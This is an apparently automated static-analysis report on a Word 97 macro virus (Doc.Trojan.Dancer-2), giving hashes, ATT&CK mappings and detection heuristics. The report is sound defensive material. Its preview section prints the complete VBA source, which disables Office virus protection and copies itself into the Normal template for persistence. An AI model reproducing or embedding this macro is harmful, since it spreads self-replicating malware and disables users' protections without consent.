Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a2738ba15fd5f61…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-06-21 14:26:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30
MD5: 8abc03b58224aa4ca7751ebcb76eaaf0 SHA-1: c4d83f68a35bd723d708ee85cec46587cd1f6988 SHA-256: 0a2738ba15fd5f614dbe35e352914e9fa677e480d1264bf852cf5e25d0ab7621
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, including an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The script explicitly disables virus protection and attempts to import a VBA component named 'dancer' into the Normal template, likely to establish persistence. It also writes a value to the registry key HKEY_CURRENT_USER\dancer to track whether it has already run, preventing repeated execution.

Heuristics 5

  • ClamAV: Doc.Trojan.Dancer-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dancer-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 802 bytes
SHA-256: 309c234a18179258fce6ae710bdf0155e5d1cebbe588a5cca56a3071e7b671a4
Detection
ClamAV: Doc.Trojan.Dancer-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dancer"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
a$ = "HKEY_CURRENT_USER\dancer"
If (System.PrivateProfileString("", a$, "dancer") = False) Then
ActiveDocument.VBProject.VBComponents("dancer").Export "c:\dancer.wav"
NormalTemplate.VBProject.VBComponents.Import ("c:\dancer.wav")
System.PrivateProfileString("", a$, "dancer") = True
ElseIf ActiveDocument.VBProject.VBComponents.Item("dancer").Name <> "dancer" Then
ActiveDocument.VBProject.VBComponents.Import ("c:\dancer.wav")
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.